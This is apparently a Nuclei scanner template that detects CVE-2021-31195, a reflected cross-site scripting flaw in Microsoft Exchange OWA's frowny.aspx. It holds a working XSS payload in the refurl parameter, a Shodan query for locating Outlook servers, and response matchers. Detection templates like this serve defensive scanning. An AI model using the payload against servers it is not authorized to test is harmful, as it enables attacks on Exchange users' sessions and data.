id: CVE-2021-31195

info:
  name: Microsoft Exchange Server - Cross-Site Scripting
  author: infosecsanyam
  severity: medium
  description: Microsoft Exchange Server, or OWA, is vulnerable to a cross-site scripting vulnerability in refurl parameter of frowny.asp.
  remediation: |
    Apply the latest security updates provided by Microsoft to mitigate this vulnerability.
  reference:
    - https://blog.orange.tw/2021/08/proxyoracle-a-new-attack-surface-on-ms-exchange-part-2.html
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31195
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31195
    - https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31195
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-31195
    cwe-id: CWE-79
    epss-score: 0.92365
    epss-percentile: 0.98725
    cpe: cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_23:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microsoft
    product: exchange_server
    shodan-query: http.title:"Outlook"
  tags: microsoft,exchange,owa,xss

http:
  - method: GET
    path:
      - '{{BaseURL}}/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};alert(document.domain)//'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'alert(document.domain)//&et=ServerError'
          - 'mail/bootr.ashx'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 500

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